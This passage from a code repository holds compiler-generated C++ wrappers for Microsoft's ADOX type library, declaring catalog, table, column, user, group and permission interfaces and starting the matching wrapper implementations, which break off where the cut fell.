__declspec(property(get=GetName,put=PutName)) 567 | _bstr_t Name; 568 | __declspec(property(get=GetDeleteRule,put=PutDeleteRule)) 569 | enum RuleEnum DeleteRule; 570 | __declspec(property(get=GetType,put=PutType)) 571 | enum KeyTypeEnum Type; 572 | __declspec(property(get=GetRelatedTable,put=PutRelatedTable)) 573 | _bstr_t RelatedTable; 574 | __declspec(property(get=GetUpdateRule,put=PutUpdateRule)) 575 | enum RuleEnum UpdateRule; 576 | __declspec(property(get=GetColumns)) 577 | ColumnsPtr Columns; 578 | 579 | // 580 | // Wrapper methods for error-handling 581 | // 582 | 583 | _bstr_t GetName ( ); 584 | void PutName ( 585 | _bstr_t pVal ); 586 | enum RuleEnum GetDeleteRule ( ); 587 | void PutDeleteRule ( 588 | enum RuleEnum pVal ); 589 | enum KeyTypeEnum GetType ( ); 590 | void PutType ( 591 | enum KeyTypeEnum pVal ); 592 | _bstr_t GetRelatedTable ( ); 593 | void PutRelatedTable ( 594 | _bstr_t pVal ); 595 | enum RuleEnum GetUpdateRule ( ); 596 | void PutUpdateRule ( 597 | enum RuleEnum pVal ); 598 | ColumnsPtr GetColumns ( ); 599 | 600 | // 601 | // Raw methods provided by interface 602 | // 603 | 604 | virtual HRESULT __stdcall get_Name ( 605 | /*[out,retval]*/ BSTR * pVal ) = 0; 606 | virtual HRESULT __stdcall put_Name ( 607 | /*[in]*/ BSTR pVal ) = 0; 608 | virtual HRESULT __stdcall get_DeleteRule ( 609 | /*[out,retval]*/ enum RuleEnum * pVal ) = 0; 610 | virtual HRESULT __stdcall put_DeleteRule ( 611 | /*[in]*/ enum RuleEnum pVal ) = 0; 612 | virtual HRESULT __stdcall get_Type ( 613 | /*[out,retval]*/ enum KeyTypeEnum * pVal ) = 0; 614 | virtual HRESULT __stdcall put_Type ( 615 | /*[in]*/ enum KeyTypeEnum pVal ) = 0; 616 | virtual HRESULT __stdcall get_RelatedTable ( 617 | /*[out,retval]*/ BSTR * pVal ) = 0; 618 | virtual HRESULT __stdcall put_RelatedTable ( 619 | /*[in]*/ BSTR pVal ) = 0; 620 | virtual HRESULT __stdcall get_UpdateRule ( 621 | /*[out,retval]*/ enum RuleEnum * pVal ) = 0; 622 | virtual HRESULT __stdcall put_UpdateRule ( 623 | /*[in]*/ enum RuleEnum pVal ) = 0; 624 | virtual HRESULT __stdcall get_Columns ( 625 | /*[out,retval]*/ struct Columns * * ppvObject ) = 0; 626 | }; 627 | 628 | struct __declspec(uuid("00000625-0000-0010-8000-00aa006d2ea4")) 629 | Procedure : IDispatch 630 | { 631 | // 632 | // Property data 633 | // 634 | 635 | __declspec(property(get=GetName)) 636 | _bstr_t Name; 637 | __declspec(property(get=GetDateCreated)) 638 | _variant_t DateCreated; 639 | __declspec(property(get=GetDateModified)) 640 | _variant_t DateModified; 641 | 642 | // 643 | // Wrapper methods for error-handling 644 | // 645 | 646 | _variant_t GetCommand ( ); 647 | void PutCommand ( 648 | const _variant_t & pVar ); 649 | void PutRefCommand ( 650 | IDispatch * pVar ); 651 | _bstr_t GetName ( ); 652 | _variant_t GetDateCreated ( ); 653 | _variant_t GetDateModified ( ); 654 | 655 | // 656 | // Raw methods provided by interface 657 | // 658 | 659 | virtual HRESULT __stdcall get_Command ( 660 | /*[out,retval]*/ VARIANT * pVar ) = 0; 661 | virtual HRESULT __stdcall put_Command ( 662 | /*[in]*/ VARIANT pVar ) = 0; 663 | virtual HRESULT __stdcall putref_Command ( 664 | /*[in]*/ IDispatch * pVar ) = 0; 665 | virtual HRESULT __stdcall get_Name ( 666 | /*[out,retval]*/ BSTR * pVal ) = 0; 667 | virtual HRESULT __stdcall get_DateCreated ( 668 | /*[out,retval]*/ VARIANT * pVal ) = 0; 669 | virtual HRESULT __stdcall get_DateModified ( 670 | /*[out,retval]*/ VARIANT * pVal ) = 0; 671 | }; 672 | 673 | struct __declspec(uuid("00000626-0000-0010-8000-00aa006d2ea4")) 674 | Procedures : _Collection 675 | { 676 | // 677 | // Property data 678 | // 679 | 680 | __declspec(property(get=GetItem)) 681 | ProcedurePtr Item[]; 682 | 683 | // 684 | // Wrapper methods for error-handling 685 | // 686 | 687 | ProcedurePtr GetItem ( 688 | const _variant_t & Item ); 689 | HRESULT Append ( 690 | _bstr_t Name, 691 | IDispatch * Command ); 692 | HRESULT Delete ( 693 | const _variant_t & Item ); 694 | 695 | // 696 | // Raw methods provided by interface 697 | // 698 | 699 | virtual HRESULT __stdcall get_Item ( 700 | /*[in]*/ VARIANT Item, 701 | /*[out,retval]*/ struct Procedure * * ppvObject ) = 0; 702 | virtual HRESULT __stdcall raw_Append ( 703 | /*[in]*/ BSTR Name, 704 | /*[in]*/ IDispatch * Command ) = 0; 705 | virtual HRESULT __stdcall raw_Delete ( 706 | /*[in]*/ VARIANT Item ) = 0; 707 | }; 708 | 709 | struct __declspec(uuid("00000613-0000-0010-8000-00aa006d2ea4")) 710 | View : IDispatch 711 | { 712 | // 713 | // Property data 714 | // 715 | 716 | __declspec(property(get=GetName)) 717 | _bstr_t Name; 718 | __declspec(property(get=GetDateCreated)) 719 | _variant_t DateCreated; 720 | __declspec(property(get=GetDateModified)) 721 | _variant_t DateModified; 722 | 723 | // 724 | // Wrapper methods for error-handling 725 | // 726 | 727 | _variant_t GetCommand ( ); 728 | void PutCommand ( 729 | const _variant_t & pVal ); 730 | void PutRefCommand ( 731 | IDispatch * pVal ); 732 | _bstr_t GetName ( ); 733 | _variant_t GetDateCreated ( ); 734 | _variant_t GetDateModified ( ); 735 | 736 | // 737 | // Raw methods provided by interface 738 | // 739 | 740 | virtual HRESULT __stdcall get_Command ( 741 | /*[out,retval]*/ VARIANT * pVal ) = 0; 742 | virtual HRESULT __stdcall put_Command ( 743 | /*[in]*/ VARIANT pVal ) = 0; 744 | virtual HRESULT __stdcall putref_Command ( 745 | /*[in]*/ IDispatch * pVal ) = 0; 746 | virtual HRESULT __stdcall get_Name ( 747 | /*[out,retval]*/ BSTR * pVal ) = 0; 748 | virtual HRESULT __stdcall get_DateCreated ( 749 | /*[out,retval]*/ VARIANT * pVal ) = 0; 750 | virtual HRESULT __stdcall get_DateModified ( 751 | /*[out,retval]*/ VARIANT * pVal ) = 0; 752 | }; 753 | 754 | struct __declspec(uuid("00000614-0000-0010-8000-00aa006d2ea4")) 755 | Views : _Collection 756 | { 757 | // 758 | // Property data 759 | // 760 | 761 | __declspec(property(get=GetItem)) 762 | ViewPtr Item[]; 763 | 764 | // 765 | // Wrapper methods for error-handling 766 | // 767 | 768 | ViewPtr GetItem ( 769 | const _variant_t & Item ); 770 | HRESULT Append ( 771 | _bstr_t Name, 772 | IDispatch * Command ); 773 | HRESULT Delete ( 774 | const _variant_t & Item ); 775 | 776 | // 777 | // Raw methods provided by interface 778 | // 779 | 780 | virtual HRESULT __stdcall get_Item ( 781 | /*[in]*/ VARIANT Item, 782 | /*[out,retval]*/ struct View * * ppvObject ) = 0; 783 | virtual HRESULT __stdcall raw_Append ( 784 | /*[in]*/ BSTR Name, 785 | /*[in]*/ IDispatch * Command ) = 0; 786 | virtual HRESULT __stdcall raw_Delete ( 787 | /*[in]*/ VARIANT Item ) = 0; 788 | }; 789 | 790 | struct __declspec(uuid("00000615-0000-0010-8000-00aa006d2ea4")) 791 | Group; 792 | // [ default ] interface _Group 793 | 794 | struct __declspec(uuid("00000617-0000-0010-8000-00aa006d2ea4")) 795 | Groups : _Collection 796 | { 797 | // 798 | // Property data 799 | // 800 | 801 | __declspec(property(get=GetItem)) 802 | _GroupPtr Item[]; 803 | 804 | // 805 | // Wrapper methods for error-handling 806 | // 807 | 808 | _GroupPtr GetItem ( 809 | const _variant_t & Item ); 810 | HRESULT Append ( 811 | const _variant_t & Item ); 812 | HRESULT Delete ( 813 | const _variant_t & Item ); 814 | 815 | // 816 | // Raw methods provided by interface 817 | // 818 | 819 | virtual HRESULT __stdcall get_Item ( 820 | /*[in]*/ VARIANT Item, 821 | /*[out,retval]*/ struct _Group * * ppvObject ) = 0; 822 | virtual HRESULT __stdcall raw_Append ( 823 | /*[in]*/ VARIANT Item ) = 0; 824 | virtual HRESULT __stdcall raw_Delete ( 825 | /*[in]*/ VARIANT Item ) = 0; 826 | }; 827 | 828 | enum ObjectTypeEnum 829 | { 830 | adPermObjProviderSpecific = -1, 831 | adPermObjTable = 1, 832 | adPermObjColumn = 2, 833 | adPermObjDatabase = 3, 834 | adPermObjProcedure = 4, 835 | adPermObjView = 5 836 | }; 837 | 838 | enum RightsEnum 839 | { 840 | adRightNone = 0, 841 | adRightDrop = 256, 842 | adRightExclusive = 512, 843 | adRightReadDesign = 1024, 844 | adRightWriteDesign = 2048, 845 | adRightWithGrant = 4096, 846 | adRightReference = 8192, 847 | adRightCreate = 16384, 848 | adRightInsert = 32768, 849 | adRightDelete = 65536, 850 | adRightReadPermissions = 131072, 851 | adRightWritePermissions = 262144, 852 | adRightWriteOwner = 524288, 853 | adRightMaximumAllowed = 33554432, 854 | adRightFull = 268435456, 855 | adRightExecute = 536870912, 856 | adRightUpdate = 1073741824, 857 | adRightRead = 0x80000000 858 | }; 859 | 860 | enum ActionEnum 861 | { 862 | adAccessGrant = 1, 863 | adAccessSet = 2, 864 | adAccessDeny = 3, 865 | adAccessRevoke = 4 866 | }; 867 | 868 | enum InheritTypeEnum 869 | { 870 | adInheritNone = 0, 871 | adInheritObjects = 1, 872 | adInheritContainers = 2, 873 | adInheritBoth = 3, 874 | adInheritNoPropogate = 4 875 | }; 876 | 877 | struct __declspec(uuid("00000618-0000-0010-8000-00aa006d2ea4")) 878 | User; 879 | // [ default ] interface _User 880 | 881 | struct __declspec(uuid("0000061a-0000-0010-8000-00aa006d2ea4")) 882 | Users : _Collection 883 | { 884 | // 885 | // Property data 886 | // 887 | 888 | __declspec(property(get=GetItem)) 889 | _UserPtr Item[]; 890 | 891 | // 892 | // Wrapper methods for error-handling 893 | // 894 | 895 | _UserPtr GetItem ( 896 | const _variant_t & Item ); 897 | HRESULT Append ( 898 | const _variant_t & Item, 899 | _bstr_t Password ); 900 | HRESULT Delete ( 901 | const _variant_t & Item ); 902 | 903 | // 904 | // Raw methods provided by interface 905 | // 906 | 907 | virtual HRESULT __stdcall get_Item ( 908 | /*[in]*/ VARIANT Item, 909 | /*[out,retval]*/ struct _User * * ppvObject ) = 0; 910 | virtual HRESULT __stdcall raw_Append ( 911 | /*[in]*/ VARIANT Item, 912 | /*[in]*/ BSTR Password ) = 0; 913 | virtual HRESULT __stdcall raw_Delete ( 914 | /*[in]*/ VARIANT Item ) = 0; 915 | }; 916 | 917 | struct __declspec(uuid("00000603-0000-0010-8000-00aa006d2ea4")) 918 | _Catalog : IDispatch 919 | { 920 | // 921 | // Property data 922 | // 923 | 924 | __declspec(property(get=GetTables)) 925 | TablesPtr Tables; 926 | __declspec(property(get=GetProcedures)) 927 | ProceduresPtr Procedures; 928 | __declspec(property(get=GetViews)) 929 | ViewsPtr Views; 930 | __declspec(property(get=GetGroups)) 931 | GroupsPtr Groups; 932 | __declspec(property(get=GetUsers)) 933 | UsersPtr Users; 934 | 935 | // 936 | // Wrapper methods for error-handling 937 | // 938 | 939 | TablesPtr GetTables ( ); 940 | _variant_t GetActiveConnection ( ); 941 | void PutActiveConnection ( 942 | const _variant_t & pVal ); 943 | void PutRefActiveConnection ( 944 | IDispatch * pVal ); 945 | ProceduresPtr GetProcedures ( ); 946 | ViewsPtr GetViews ( ); 947 | GroupsPtr GetGroups ( ); 948 | UsersPtr GetUsers ( ); 949 | _variant_t Create ( 950 | _bstr_t ConnectString ); 951 | _bstr_t GetObjectOwner ( 952 | _bstr_t ObjectName, 953 | enum ObjectTypeEnum ObjectType, 954 | const _variant_t & ObjectTypeId = vtMissing ); 955 | HRESULT SetObjectOwner ( 956 | _bstr_t ObjectName, 957 | enum ObjectTypeEnum ObjectType, 958 | _bstr_t UserName, 959 | const _variant_t & ObjectTypeId = vtMissing ); 960 | 961 | // 962 | // Raw methods provided by interface 963 | // 964 | 965 | virtual HRESULT __stdcall get_Tables ( 966 | /*[out,retval]*/ struct Tables * * ppvObject ) = 0; 967 | virtual HRESULT __stdcall get_ActiveConnection ( 968 | /*[out,retval]*/ VARIANT * pVal ) = 0; 969 | virtual HRESULT __stdcall put_ActiveConnection ( 970 | /*[in]*/ VARIANT pVal ) = 0; 971 | virtual HRESULT __stdcall putref_ActiveConnection ( 972 | /*[in]*/ IDispatch * pVal ) = 0; 973 | virtual HRESULT __stdcall get_Procedures ( 974 | /*[out,retval]*/ struct Procedures * * ppvObject ) = 0; 975 | virtual HRESULT __stdcall get_Views ( 976 | /*[out,retval]*/ struct Views * * ppvObject ) = 0; 977 | virtual HRESULT __stdcall get_Groups ( 978 | /*[out,retval]*/ struct Groups * * ppvObject ) = 0; 979 | virtual HRESULT __stdcall get_Users ( 980 | /*[out,retval]*/ struct Users * * ppvObject ) = 0; 981 | virtual HRESULT __stdcall raw_Create ( 982 | /*[in]*/ BSTR ConnectString, 983 | /*[out,retval]*/ VARIANT * Connection ) = 0; 984 | virtual HRESULT __stdcall raw_GetObjectOwner ( 985 | /*[in]*/ BSTR ObjectName, 986 | /*[in]*/ enum ObjectTypeEnum ObjectType, 987 | /*[in]*/ VARIANT ObjectTypeId, 988 | /*[out,retval]*/ BSTR * OwnerName ) = 0; 989 | virtual HRESULT __stdcall raw_SetObjectOwner ( 990 | /*[in]*/ BSTR ObjectName, 991 | /*[in]*/ enum ObjectTypeEnum ObjectType, 992 | /*[in]*/ BSTR UserName, 993 | /*[in]*/ VARIANT ObjectTypeId = vtMissing ) = 0; 994 | }; 995 | 996 | struct __declspec(uuid("00000610-0000-0010-8000-00aa006d2ea4")) 997 | _Table : IDispatch 998 | { 999 | // 1000 | // Property data 1001 | // 1002 | 1003 | __declspec(property(get=GetColumns)) 1004 | ColumnsPtr Columns; 1005 | __declspec(property(get=GetName,put=PutName)) 1006 | _bstr_t Name; 1007 | __declspec(property(get=GetType)) 1008 | _bstr_t Type; 1009 | __declspec(property(get=GetIndexes)) 1010 | IndexesPtr Indexes; 1011 | __declspec(property(get=GetKeys)) 1012 | KeysPtr Keys; 1013 | __declspec(property(get=GetProperties)) 1014 | PropertiesPtr Properties; 1015 | __declspec(property(get=GetDateCreated)) 1016 | _variant_t DateCreated; 1017 | __declspec(property(get=GetDateModified)) 1018 | _variant_t DateModified; 1019 | __declspec(property(get=GetParentCatalog,put=PutRefParentCatalog)) 1020 | _CatalogPtr ParentCatalog; 1021 | 1022 | // 1023 | // Wrapper methods for error-handling 1024 | // 1025 | 1026 | ColumnsPtr GetColumns ( ); 1027 | _bstr_t GetName ( ); 1028 | void PutName ( 1029 | _bstr_t pVal ); 1030 | _bstr_t GetType ( ); 1031 | IndexesPtr GetIndexes ( ); 1032 | KeysPtr GetKeys ( ); 1033 | PropertiesPtr GetProperties ( ); 1034 | _variant_t GetDateCreated ( ); 1035 | _variant_t GetDateModified ( ); 1036 | _CatalogPtr GetParentCatalog ( ); 1037 | void PutParentCatalog ( 1038 | struct _Catalog * ppvObject ); 1039 | void PutRefParentCatalog ( 1040 | struct _Catalog * ppvObject ); 1041 | 1042 | // 1043 | // Raw methods provided by interface 1044 | // 1045 | 1046 | virtual HRESULT __stdcall get_Columns ( 1047 | /*[out,retval]*/ struct Columns * * ppvObject ) = 0; 1048 | virtual HRESULT __stdcall get_Name ( 1049 | /*[out,retval]*/ BSTR * pVal ) = 0; 1050 | virtual HRESULT __stdcall put_Name ( 1051 | /*[in]*/ BSTR pVal ) = 0; 1052 | virtual HRESULT __stdcall get_Type ( 1053 | /*[out,retval]*/ BSTR * pVal ) = 0; 1054 | virtual HRESULT __stdcall get_Indexes ( 1055 | /*[out,retval]*/ struct Indexes * * ppvObject ) = 0; 1056 | virtual HRESULT __stdcall get_Keys ( 1057 | /*[out,retval]*/ struct Keys * * ppvObject ) = 0; 1058 | virtual HRESULT __stdcall get_Properties ( 1059 | /*[out,retval]*/ struct Properties * * ppvObject ) = 0; 1060 | virtual HRESULT __stdcall get_DateCreated ( 1061 | /*[out,retval]*/ VARIANT * pVal ) = 0; 1062 | virtual HRESULT __stdcall get_DateModified ( 1063 | /*[out,retval]*/ VARIANT * pVal ) = 0; 1064 | virtual HRESULT __stdcall get_ParentCatalog ( 1065 | /*[out,retval]*/ struct _Catalog * * ppvObject ) = 0; 1066 | virtual HRESULT __stdcall put_ParentCatalog ( 1067 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1068 | virtual HRESULT __stdcall putref_ParentCatalog ( 1069 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1070 | }; 1071 | 1072 | struct __declspec(uuid("0000061c-0000-0010-8000-00aa006d2ea4")) 1073 | _Column : IDispatch 1074 | { 1075 | // 1076 | // Property data 1077 | // 1078 | 1079 | __declspec(property(get=GetName,put=PutName)) 1080 | _bstr_t Name; 1081 | __declspec(property(get=GetAttributes,put=PutAttributes)) 1082 | enum ColumnAttributesEnum Attributes; 1083 | __declspec(property(get=GetDefinedSize,put=PutDefinedSize)) 1084 | long DefinedSize; 1085 | __declspec(property(get=GetNumericScale,put=PutNumericScale)) 1086 | unsigned char NumericScale; 1087 | __declspec(property(get=GetPrecision,put=PutPrecision)) 1088 | long Precision; 1089 | __declspec(property(get=GetRelatedColumn,put=PutRelatedColumn)) 1090 | _bstr_t RelatedColumn; 1091 | __declspec(property(get=GetSortOrder,put=PutSortOrder)) 1092 | enum SortOrderEnum SortOrder; 1093 | __declspec(property(get=GetType,put=PutType)) 1094 | enum DataTypeEnum Type; 1095 | __declspec(property(get=GetProperties)) 1096 | PropertiesPtr Properties; 1097 | __declspec(property(get=GetParentCatalog,put=PutRefParentCatalog)) 1098 | _CatalogPtr ParentCatalog; 1099 | 1100 | // 1101 | // Wrapper methods for error-handling 1102 | // 1103 | 1104 | _bstr_t GetName ( ); 1105 | void PutName ( 1106 | _bstr_t pVal ); 1107 | enum ColumnAttributesEnum GetAttributes ( ); 1108 | void PutAttributes ( 1109 | enum ColumnAttributesEnum pVal ); 1110 | long GetDefinedSize ( ); 1111 | void PutDefinedSize ( 1112 | long pVal ); 1113 | unsigned char GetNumericScale ( ); 1114 | void PutNumericScale ( 1115 | unsigned char pVal ); 1116 | long GetPrecision ( ); 1117 | void PutPrecision ( 1118 | long pVal ); 1119 | _bstr_t GetRelatedColumn ( ); 1120 | void PutRelatedColumn ( 1121 | _bstr_t pVal ); 1122 | enum SortOrderEnum GetSortOrder ( ); 1123 | void PutSortOrder ( 1124 | enum SortOrderEnum pVal ); 1125 | enum DataTypeEnum GetType ( ); 1126 | void PutType ( 1127 | enum DataTypeEnum pVal ); 1128 | PropertiesPtr GetProperties ( ); 1129 | _CatalogPtr GetParentCatalog ( ); 1130 | void PutParentCatalog ( 1131 | struct _Catalog * ppvObject ); 1132 | void PutRefParentCatalog ( 1133 | struct _Catalog * ppvObject ); 1134 | 1135 | // 1136 | // Raw methods provided by interface 1137 | // 1138 | 1139 | virtual HRESULT __stdcall get_Name ( 1140 | /*[out,retval]*/ BSTR * pVal ) = 0; 1141 | virtual HRESULT __stdcall put_Name ( 1142 | /*[in]*/ BSTR pVal ) = 0; 1143 | virtual HRESULT __stdcall get_Attributes ( 1144 | /*[out,retval]*/ enum ColumnAttributesEnum * pVal ) = 0; 1145 | virtual HRESULT __stdcall put_Attributes ( 1146 | /*[in]*/ enum ColumnAttributesEnum pVal ) = 0; 1147 | virtual HRESULT __stdcall get_DefinedSize ( 1148 | /*[out,retval]*/ long * pVal ) = 0; 1149 | virtual HRESULT __stdcall put_DefinedSize ( 1150 | /*[in]*/ long pVal ) = 0; 1151 | virtual HRESULT __stdcall get_NumericScale ( 1152 | /*[out,retval]*/ unsigned char * pVal ) = 0; 1153 | virtual HRESULT __stdcall put_NumericScale ( 1154 | /*[in]*/ unsigned char pVal ) = 0; 1155 | virtual HRESULT __stdcall get_Precision ( 1156 | /*[out,retval]*/ long * pVal ) = 0; 1157 | virtual HRESULT __stdcall put_Precision ( 1158 | /*[in]*/ long pVal ) = 0; 1159 | virtual HRESULT __stdcall get_RelatedColumn ( 1160 | /*[out,retval]*/ BSTR * pVal ) = 0; 1161 | virtual HRESULT __stdcall put_RelatedColumn ( 1162 | /*[in]*/ BSTR pVal ) = 0; 1163 | virtual HRESULT __stdcall get_SortOrder ( 1164 | /*[out,retval]*/ enum SortOrderEnum * pVal ) = 0; 1165 | virtual HRESULT __stdcall put_SortOrder ( 1166 | /*[in]*/ enum SortOrderEnum pVal ) = 0; 1167 | virtual HRESULT __stdcall get_Type ( 1168 | /*[out,retval]*/ enum DataTypeEnum * pVal ) = 0; 1169 | virtual HRESULT __stdcall put_Type ( 1170 | /*[in]*/ enum DataTypeEnum pVal ) = 0; 1171 | virtual HRESULT __stdcall get_Properties ( 1172 | /*[out,retval]*/ struct Properties * * ppvObject ) = 0; 1173 | virtual HRESULT __stdcall get_ParentCatalog ( 1174 | /*[out,retval]*/ struct _Catalog * * ppvObject ) = 0; 1175 | virtual HRESULT __stdcall put_ParentCatalog ( 1176 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1177 | virtual HRESULT __stdcall putref_ParentCatalog ( 1178 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1179 | }; 1180 | 1181 | struct __declspec(uuid("00000616-0000-0010-8000-00aa006d2ea4")) 1182 | _Group25 : IDispatch 1183 | { 1184 | // 1185 | // Property data 1186 | // 1187 | 1188 | __declspec(property(get=GetName,put=PutName)) 1189 | _bstr_t Name; 1190 | __declspec(property(get=GetUsers)) 1191 | UsersPtr Users; 1192 | 1193 | // 1194 | // Wrapper methods for error-handling 1195 | // 1196 | 1197 | _bstr_t GetName ( ); 1198 | void PutName ( 1199 | _bstr_t pVal ); 1200 | enum RightsEnum GetPermissions ( 1201 | const _variant_t & Name, 1202 | enum ObjectTypeEnum ObjectType, 1203 | const _variant_t & ObjectTypeId = vtMissing ); 1204 | HRESULT SetPermissions ( 1205 | const _variant_t & Name, 1206 | enum ObjectTypeEnum ObjectType, 1207 | enum ActionEnum Action, 1208 | enum RightsEnum Rights, 1209 | enum InheritTypeEnum Inherit, 1210 | const _variant_t & ObjectTypeId = vtMissing ); 1211 | UsersPtr GetUsers ( ); 1212 | 1213 | // 1214 | // Raw methods provided by interface 1215 | // 1216 | 1217 | virtual HRESULT __stdcall get_Name ( 1218 | /*[out,retval]*/ BSTR * pVal ) = 0; 1219 | virtual HRESULT __stdcall put_Name ( 1220 | /*[in]*/ BSTR pVal ) = 0; 1221 | virtual HRESULT __stdcall raw_GetPermissions ( 1222 | /*[in]*/ VARIANT Name, 1223 | /*[in]*/ enum ObjectTypeEnum ObjectType, 1224 | /*[in]*/ VARIANT ObjectTypeId, 1225 | /*[out,retval]*/ enum RightsEnum * Rights ) = 0; 1226 | virtual HRESULT __stdcall raw_SetPermissions ( 1227 | /*[in]*/ VARIANT Name, 1228 | /*[in]*/ enum ObjectTypeEnum ObjectType, 1229 | /*[in]*/ enum ActionEnum Action, 1230 | /*[in]*/ enum RightsEnum Rights, 1231 | /*[in]*/ enum InheritTypeEnum Inherit, 1232 | /*[in]*/ VARIANT ObjectTypeId = vtMissing ) = 0; 1233 | virtual HRESULT __stdcall get_Users ( 1234 | /*[out,retval]*/ struct Users * * ppvObject ) = 0; 1235 | }; 1236 | 1237 | struct __declspec(uuid("00000628-0000-0010-8000-00aa006d2ea4")) 1238 | _Group : _Group25 1239 | { 1240 | // 1241 | // Property data 1242 | // 1243 | 1244 | __declspec(property(get=GetProperties)) 1245 | PropertiesPtr Properties; 1246 | __declspec(property(get=GetParentCatalog,put=PutRefParentCatalog)) 1247 | _CatalogPtr ParentCatalog; 1248 | 1249 | // 1250 | // Wrapper methods for error-handling 1251 | // 1252 | 1253 | PropertiesPtr GetProperties ( ); 1254 | _CatalogPtr GetParentCatalog ( ); 1255 | void PutParentCatalog ( 1256 | struct _Catalog * ppvObject ); 1257 | void PutRefParentCatalog ( 1258 | struct _Catalog * ppvObject ); 1259 | 1260 | // 1261 | // Raw methods provided by interface 1262 | // 1263 | 1264 | virtual HRESULT __stdcall get_Properties ( 1265 | /*[out,retval]*/ struct Properties * * ppvObject ) = 0; 1266 | virtual HRESULT __stdcall get_ParentCatalog ( 1267 | /*[out,retval]*/ struct _Catalog * * ppvObject ) = 0; 1268 | virtual HRESULT __stdcall put_ParentCatalog ( 1269 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1270 | virtual HRESULT __stdcall putref_ParentCatalog ( 1271 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1272 | }; 1273 | 1274 | struct __declspec(uuid("00000619-0000-0010-8000-00aa006d2ea4")) 1275 | _User25 : IDispatch 1276 | { 1277 | // 1278 | // Property data 1279 | // 1280 | 1281 | __declspec(property(get=GetName,put=PutName)) 1282 | _bstr_t Name; 1283 | __declspec(property(get=GetGroups)) 1284 | GroupsPtr Groups; 1285 | 1286 | // 1287 | // Wrapper methods for error-handling 1288 | // 1289 | 1290 | _bstr_t GetName ( ); 1291 | void PutName ( 1292 | _bstr_t pVal ); 1293 | enum RightsEnum GetPermissions ( 1294 | const _variant_t & Name, 1295 | enum ObjectTypeEnum ObjectType, 1296 | const _variant_t & ObjectTypeId = vtMissing ); 1297 | HRESULT SetPermissions ( 1298 | const _variant_t & Name, 1299 | enum ObjectTypeEnum ObjectType, 1300 | enum ActionEnum Action, 1301 | enum RightsEnum Rights, 1302 | enum InheritTypeEnum Inherit, 1303 | const _variant_t & ObjectTypeId = vtMissing ); 1304 | HRESULT ChangePassword ( 1305 | _bstr_t OldPassword, 1306 | _bstr_t NewPassword ); 1307 | GroupsPtr GetGroups ( ); 1308 | 1309 | // 1310 | // Raw methods provided by interface 1311 | // 1312 | 1313 | virtual HRESULT __stdcall get_Name ( 1314 | /*[out,retval]*/ BSTR * pVal ) = 0; 1315 | virtual HRESULT __stdcall put_Name ( 1316 | /*[in]*/ BSTR pVal ) = 0; 1317 | virtual HRESULT __stdcall raw_GetPermissions ( 1318 | /*[in]*/ VARIANT Name, 1319 | /*[in]*/ enum ObjectTypeEnum ObjectType, 1320 | /*[in]*/ VARIANT ObjectTypeId, 1321 | /*[out,retval]*/ enum RightsEnum * Rights ) = 0; 1322 | virtual HRESULT __stdcall raw_SetPermissions ( 1323 | /*[in]*/ VARIANT Name, 1324 | /*[in]*/ enum ObjectTypeEnum ObjectType, 1325 | /*[in]*/ enum ActionEnum Action, 1326 | /*[in]*/ enum RightsEnum Rights, 1327 | /*[in]*/ enum InheritTypeEnum Inherit, 1328 | /*[in]*/ VARIANT ObjectTypeId = vtMissing ) = 0; 1329 | virtual HRESULT __stdcall raw_ChangePassword ( 1330 | /*[in]*/ BSTR OldPassword, 1331 | /*[in]*/ BSTR NewPassword ) = 0; 1332 | virtual HRESULT __stdcall get_Groups ( 1333 | /*[out,retval]*/ struct Groups * * ppvObject ) = 0; 1334 | }; 1335 | 1336 | struct __declspec(uuid("00000627-0000-0010-8000-00aa006d2ea4")) 1337 | _User : _User25 1338 | { 1339 | // 1340 | // Property data 1341 | // 1342 | 1343 | __declspec(property(get=GetProperties)) 1344 | PropertiesPtr Properties; 1345 | __declspec(property(get=GetParentCatalog,put=PutRefParentCatalog)) 1346 | _CatalogPtr ParentCatalog; 1347 | 1348 | // 1349 | // Wrapper methods for error-handling 1350 | // 1351 | 1352 | PropertiesPtr GetProperties ( ); 1353 | _CatalogPtr GetParentCatalog ( ); 1354 | void PutParentCatalog ( 1355 | struct _Catalog * ppvObject ); 1356 | void PutRefParentCatalog ( 1357 | struct _Catalog * ppvObject ); 1358 | 1359 | // 1360 | // Raw methods provided by interface 1361 | // 1362 | 1363 | virtual HRESULT __stdcall get_Properties ( 1364 | /*[out,retval]*/ struct Properties * * ppvObject ) = 0; 1365 | virtual HRESULT __stdcall get_ParentCatalog ( 1366 | /*[out,retval]*/ struct _Catalog * * ppvObject ) = 0; 1367 | virtual HRESULT __stdcall put_ParentCatalog ( 1368 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1369 | virtual HRESULT __stdcall putref_ParentCatalog ( 1370 | /*[in]*/ struct _Catalog * ppvObject ) = 0; 1371 | }; 1372 | 1373 | struct __declspec(uuid("00000602-0000-0010-8000-00aa006d2ea4")) 1374 | Catalog; 1375 | // [ default ] interface _Catalog 1376 | 1377 | // 1378 | // Wrapper method implementations 1379 | // 1380 | 1381 | #include "c:\projects\hatchet_v2\hatchet\release\msadox.tli" 1382 | 1383 | } // namespace ADOX 1384 | 1385 | #pragma pack(pop) 1386 | -------------------------------------------------------------------------------- /code/Hatchet/Release/msadox.tli: -------------------------------------------------------------------------------- 1 | // Created by Microsoft (R) C/C++ Compiler Version 14.00.50727.42 (15fa85d0). 2 | // 3 | // c:\projects\hatchet_v2\hatchet\release\msadox.tli 4 | // 5 | // Wrapper implementations for Win32 type library c:\Program Files\Common Files\system\ado\msadox.dll 6 | // compiler-generated file created 05/05/15 at 16:18:58 - DO NOT EDIT! 7 | 8 | #pragma once 9 | 10 | // 11 | // interface _Collection wrapper method implementations 12 | // 13 | 14 | inline long _Collection::GetCount ( ) { 15 | long _result = 0; 16 | HRESULT _hr = get_Count(&_result); 17 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 18 | return _result; 19 | } 20 | 21 | inline IUnknownPtr _Collection::_NewEnum ( ) { 22 | IUnknown * _result = 0; 23 | HRESULT _hr = raw__NewEnum(&_result); 24 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 25 | return IUnknownPtr(_result, false); 26 | } 27 | 28 | inline HRESULT _Collection::Refresh ( ) { 29 | HRESULT _hr = raw_Refresh(); 30 | if (FAILED(_hr)) 